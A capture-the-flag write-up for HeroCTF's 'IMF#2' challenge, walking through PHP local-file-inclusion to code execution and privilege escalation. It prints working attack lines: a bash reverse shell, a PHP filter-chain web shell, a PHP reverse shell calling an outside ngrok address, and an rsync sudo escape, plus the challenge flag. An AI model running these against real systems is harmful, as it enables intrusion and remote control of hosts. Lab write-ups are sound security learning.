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IMF#2: A woman's weapon

Category: System

Description

Historically considered as a woman's weapon, pretty sure that's not true and anyone can exploit it.

PS: When you understand what to exploit, try it locally first, as a failed attempt would very likely make any further attempts impossible.

> Deploy on deploy.heroctf.fr

Format : Hero{flag}

Author : Log_s

Write-up

  • Continuing from IMF#1: Bug Hunting, we examined the contents of the other issues and discovered two interesting ones.
  • The first issue contained a file called log_checker.php. It is a simple PHP file that checks for the presence of the file query parameter. If the parameter exists, it includes the specified file using PHP's include function. Otherwise, it includes the /var/log/backup.log file.
  • The second issue provided a hyperlink with the label https://localhost:8081/upload?file=YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8wLjAuMC4wLzExMTEgMD4mMSI=. However, the href of the anchor tag pointed to rickroll https://www.youtube.com/watch?v=dQw4w9WgXcQ. We decoded the base64-encoded string (YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8wLjAuMC4wLzExMTEgMD4mMSI=) and found that it contained a payload for a reverse shell (bash -c "bash -i >& /dev/tcp/0.0.0.0/1111 0>&1").
  • Based on this information, it appears that we need to achieve Remote Code Execution (RCE) through an endpoint that accepts a file path as a query parameter.
  • We discovered that this endpoint belongs to the backup server mentioned in the welcome.txt file from the previous challenge.
  • The backup server is hosted on backup:80, accessible from the remote server (dev) we're currently on.
  • To access the backup server, we can open another terminal and use the following command to forward our traffic from local port 1338 to the backup server: ssh -L 1338:backup [email protected] -p 11232.
  • For the file to include, we can leverage the LFI2RCE (Local File Inclusion to Remote Code Execution) technique using PHP filters. We can provide a "file" that is created using PHP filters, which takes a GET parameter called cmd containing our arbitrary command to execute on the backup server.
  • The command to generate the payload is: python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'.
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    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  • The value of cmd is: php -r '$sock=fsockopen("52.220.121.212",11096);system("sh <&3 >&3 2>&3");'. This command creates a reverse shell using PHP. We use ngrok TCP (52.220.121.212:11096) to forward the traffic to our local port 7777.
  • Making a GET request to http://localhost:1338 with both file and cmd specified will open a non-interactive shell on our listener.
  • To gain an interactive shell, we utilized the availability of Python by executing the following command: python3 -c 'import pty; pty.spawn("/bin/bash")'.
  • Upon exploring the system, we discovered an intriguing directory located at /backup, which was owned by the backup user. However, since we were authenticated as www-data, our access was limited due to insufficient permissions.
  • In our pursuit of escalating privileges, we decided to inspect the privileges assigned to our current user. Running sudo -l revealed that we had the ability to execute rsync as the backup user.
  • Leveraging the insights from GTFOBins, we employed the rsync command to establish a shell under the context of the backup user. The command we used was: sudo -u backup rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null. We ran the command to pop an interactive shell again using Python.
  • As a result of successfully executing the above commands, we gained access to the /backup directory. Within this directory, we discovered a file named flag.txt which contained the coveted flag.

Flag: Hero{n0t_0nly_hum4ns_c4n_b3_po1s3n3d}